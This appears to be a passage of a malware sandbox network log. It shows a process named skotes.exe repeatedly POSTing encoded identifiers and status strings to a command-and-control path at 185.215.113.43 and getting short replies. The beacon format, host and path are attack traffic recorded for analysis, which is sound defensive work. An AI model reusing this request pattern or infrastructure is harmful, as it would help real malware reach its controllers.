Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:37.943294048 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:52:38.658644915 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50772	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:40.381392956 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:52:41.108294010 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50775	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:42.643374920 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:52:43.354041100 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50777	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:44.976586103 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:52:45.687813044 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50778	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:47.210122108 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:52:47.904341936 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50779	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:49.536935091 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:52:50.246956110 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50780	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:51.756686926 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:52:52.468004942 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50781	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:54.116888046 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:52:54.808527946 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	50782	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:56.352816105 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:52:57.080008984 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	50784	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:58.711563110 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:52:59.419368029 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	50785	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:00.944514990 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:53:01.666476011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	50786	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:03.309628963 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:53:04.009957075 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	50787	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:05.525322914 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:53:06.228219032 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50788	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:07.871129990 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:53:08.583291054 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50789	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:10.102952003 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:53:10.835042953 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	50790	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:12.511914968 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:53:13.211534023 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50793	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:14.729187965 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:53:15.437668085 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	50794	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:17.057775021 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:53:17.768163919 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	50795	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:19.290927887 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:53:20.160742998 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	50796	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:21.788002014 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:53:22.513633013 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	50797	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:24.041069984 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:53:24.770483971 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	50798	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:26.383107901 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:53:27.090174913 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	50799	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:53:28.601818085 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:53:29.332514048 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:53:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
